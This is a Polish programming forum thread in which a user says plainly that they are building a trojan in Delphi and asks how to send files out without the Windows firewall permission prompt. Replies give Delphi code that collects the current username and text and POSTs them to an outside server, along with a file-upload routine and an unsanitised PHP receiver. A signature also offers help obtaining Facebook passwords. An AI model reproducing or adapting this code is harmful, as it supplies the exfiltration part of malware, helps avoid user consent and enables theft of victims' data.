Pokaż wyniki od 1 do 8 z 8

Temat: Wysyłanie plików Delphi

  1. #1

    Domy¶lnie Wysyłanie plików Delphi

    To mój pierwszy post na tym form więc najpierw się przywitam

    Piszę program, trojana a praktycznie jest on już prawie skończony. Jednak mam pewien problem z wysyłaniem plików. Do tej pory wysyłałem je na serwer FTP przy pomocy INDY jednak (przynajmniej na Windows 7) przy pierwszej próbie wysłania pliku potrzebne jest zezwolenie na poł±czenie z sieci±, wyskakuje okienko takie jak na obrazku:

    zezwolenie.png

    Co zrobić by wysyłanie pliku przez program na Windows 7 (i Vi¶cie pewnie również) nie wymagało takiego zezwolenia? Może jest jaki¶ inny wygodny sposób na wysyłanie plików?

    P.S Dodam, że do zalogowania się na gg czy np. pobrania jakiego¶ pliku przez UrlDownloadToFIle program nie potrzebuje żadnych zezwoleń, tylko przy ł±czeniu z FTP jest ono wymagane.
    Ostatnio edytowane przez Baku¶¶ ; 02-02-2012 o 14:02

  2. #2

    Domy¶lnie

    Użyj INDY HTTP, np. (metodę POST) i wrzucaj pliki przez skrypt PHP na serwer.
    Ostatnio edytowane przez michal31337 ; 02-02-2012 o 19:55
    Pomogę w zdobyciu hasła do Facebooka. Pisać na PW.

  3. #3

    Domy¶lnie

    Ok, skrypt w PHP uploaduj±cy pliki już mam tylko teraz jak to poł±czyć z IdHTTP i POST?
    Ostatnio edytowane przez Baku¶¶ ; 03-02-2012 o 10:35

  4. #4

    Domy¶lnie

    Sorry. POST, a nie GET. Mój bł±d.
    Możesz użyć mojego kodu:

    var
    PostDataStream : TStringStream;
    ParamData : TStringStream;
    User : String;
    Buff: DWORD;
    begin
    Buff := 12;
    SetLength(User, Buff);
    GetUserName(PChar(User), Buff);

    PostDataStream := TStringStream.Create('');
    ParamData := TStringStream.Create('');
    ParamData.WriteString('password=haslo');
    ParamData.WriteString('&tresc=' + Memo1.Lines.Text);
    ParamData.WriteString('&opis=' + User); // nazwa aktualnie zalogowanego usera
    try
    idhttp1.Post('http://adres.pl/skryptuploadujacy.php', ParamData, PostDataStream);

    finally
    ParamData.Free;
    PostDataStream.Free;
    Memo1.Lines.Clear;
    end;
    Pomogę w zdobyciu hasła do Facebooka. Pisać na PW.

  5. #5

    Domy¶lnie

    Udało mi się już samemu poszperać trochę w necie i stworzyć co¶ działaj±cego Wstawię kod by inni też skorzystali:

    // w uses dodajemy IdMultipartFormData

    procedure TForm1.Button1Click(Sender: TObject);
    var
    Str : TIdMultipartFormDataStream;
    begin

    Str := TIdMultipartFormDataStream.Create;

    try
    IdHTTP1.HandleRedirects:=True;
    Str.AddFile( 'plik','c:\plik.txt', 'multipart/form-data' );
    IdHTTP1.Post( 'http://przyklad.pl/upload.php', Str );
    finally
    Str.Free;
    end;

    end;
    A tu plik upload.php
    (uploaduje pliki do folderu o nazwie "upload", który musi mieć atrybuty 777)


    <?php
    echo '<?xml version="1.0" encoding="iso-8859-2"?>';
    ?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
    transitional.dtd">
    <html>
    <head>
    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />
    <title>Upload</title>
    </head>
    <body>

    <div>
    <form enctype="multipart/form-data" action="upload.php" method="POST">
    <input name="plik" type="file" />
    <input type="submit" value="Wy¶lij plik" />
    </form>
    </div>

    <?php
    if (!empty($_FILES))
    {
    $plik_tmp = $_FILES['plik']['tmp_name'];
    $plik_nazwa = $_FILES['plik']['name'];
    $plik_rozmiar = $_FILES['plik']['size'];

    if(is_uploaded_file($plik_tmp)) {
    move_uploaded_file($plik_tmp, "upload/$plik_nazwa");
    echo "Plik: <strong>$plik_nazwa</strong> o rozmiarze
    <strong>$plik_rozmiar bajtów</strong> został przesłany na serwer!";
    }
    }
    ?>
    </body>
    </html>
    Ostatnio edytowane przez Baku¶¶ ; 03-02-2012 o 12:00

  6. #6

    Domy¶lnie

    Czy na powyższym kodzie do php idzie wykonać skrypt za pomoc± komponentu httpsend?
    Plik php już w pełni gotowy i porawiony, lecz nie mam jak dać na formę komponentu, ponieważ nie mam formy, ani konsoli, ani WinAPI

    Dobra, czym już wiem tylko teraz jak?

    Funkcja HttpPostFile, jakie¶ jej przykłady lub wytłumaczenie tych parametrów?
    http://synapse.ararat.cz/doc/help/ht...l#HttpPostFile

    Niezbyt wiem, np. czy FileName ma być wraz z ¶cieżk±?
    Ostatnio edytowane przez garfield1 ; 03-04-2012 o 13:59

  7. #7

    Domy¶lnie

    wiesz co to jest demo (taki folder) tam masz przykłady [source\demo\http] co jak można wykorzystać ale nie ***** trzeba brednie pisać na forum...
    jak się ***** obrazka nie da położyć na forme to już sobie nie poradzisz... czy ty znasz podstawy, bo zabierasz się za co¶ nie maj±c o tym pojęcia np że w sekcji uses dopisujesz po przecinku httpsend ? nie ciężko wpa¶ć na taki pomysł pewnie.
    Ostatnio edytowane przez ProQix ; 03-04-2012 o 14:53

  8. #8

    Domy¶lnie

    Zamiast tak się zwracać, wystarczyło napisać, że folder DEMO, szukałem w "DEMOS", lecz nie wiedziałem które z synapse, a teraz znalazłem w http w folderze "DEMO". Mam już dawno httpsend, dlatego wybrałem ten sposób, żeby nie za¶miecać programu. Tyko jak się używa funkcji (przykład) prosiłem. Twoje nastawienie godne mianem "zaburzeniom osobowo¶ci".
    Ostatnio edytowane przez garfield1 ; 04-04-2012 o 22:49

Tagi dla tego tematu

Uprawnienia

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomo¶ci
  • Nie możesz dodawać zał±czników
  • Nie możesz edytować swoich postów
  •